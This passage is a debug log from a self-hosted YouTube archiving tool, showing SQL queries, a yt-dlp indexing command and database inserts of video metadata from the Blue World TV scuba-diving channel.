"https://www.youtube.com/watch?v=GtXs5-njKx8", 34, 1008, false, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, ~U[2024-09-14 14:00:11Z]] 19:03:31.434 [debug] QUERY OK source="sources" db=0.2ms idle=138.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:31.434 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:31.434 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119049] 19:03:31.435 [debug] Current batch of media processed. Will check again in 1000ms 19:03:32.435 [debug] Current batch of media processed. Will check again in 1000ms 19:03:32.700 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:33.436 [debug] Current batch of media processed. Will check again in 1000ms 19:03:33.865 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BlueWorldTV --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/BlueWorldTV/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/bd/75/bd75cfa8b08f6361710e07fe55711706527bf5d2c8e6844b35c1a990985eed85.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a9/79/a9799eef9794a559547385f774fc06e0245517a16f7916439cf2af94a7c1054a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:03:33.866 [debug] Gracefully stopping file follower 19:03:33.866 [debug] QUERY OK source="sources" db=0.4ms idle=1166.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:33.867 [debug] QUERY OK source="sources" db=0.1ms idle=1167.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.868 [debug] QUERY OK source="media_items" db=1.0ms idle=1167.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 14:00:06Z], 34] 19:03:33.870 [debug] QUERY OK source="media_items" db=1.0ms idle=1167.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "f72f6531-3b38-4c8e-9c71-6ad9fc61923e", "xqIdz7rvhZY", false, "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, [], 1640, false, 1, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, false, 98, ~U[2026-05-23 14:00:06Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "xqIdz7rvhZY", "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, 1640, false, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, ~U[2026-05-23 14:00:06Z]] 19:03:33.870 [debug] QUERY OK source="sources" db=0.1ms idle=573.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.871 [debug] QUERY OK source="media_items" db=1.0ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 14:01:23Z], 34] 19:03:33.873 [debug] QUERY OK source="media_items" db=1.0ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "35a4a373-a66d-4b5e-be2b-cf974d9d5430", "tcF5D-0nX_Y", false, "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, [], 3615, false, 2, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, false, 98, ~U[2026-05-09 14:01:23Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "tcF5D-0nX_Y", "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, 3615, false, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, ~U[2026-05-09 14:01:23Z]] 19:03:33.873 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.874 [debug] QUERY OK source="media_items" db=0.9ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-11 14:00:06Z], 34] 19:03:33.876 [debug] QUERY OK source="media_items" db=1.1ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "4249983b-e5b9-4e7b-afd0-c1d3ddf6139c", "f9zJLNVZhPg", false, "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, [], 1212, false, 3, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, false, 98, ~U[2026-04-11 14:00:06Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "f9zJLNVZhPg", "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, 1212, false, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, ~U[2026-04-11 14:00:06Z]] 19:03:33.876 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.877 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 15:00:08Z], 34] 19:03:33.879 [debug] QUERY OK source="media_items" db=1.0ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "01e13bfd-9cd2-40d7-b4c6-b14f39719c1d", "55GGIDpWOqY", false, "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, [], 868, false, 4, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, false, 98, ~U[2026-03-07 15:00:08Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World 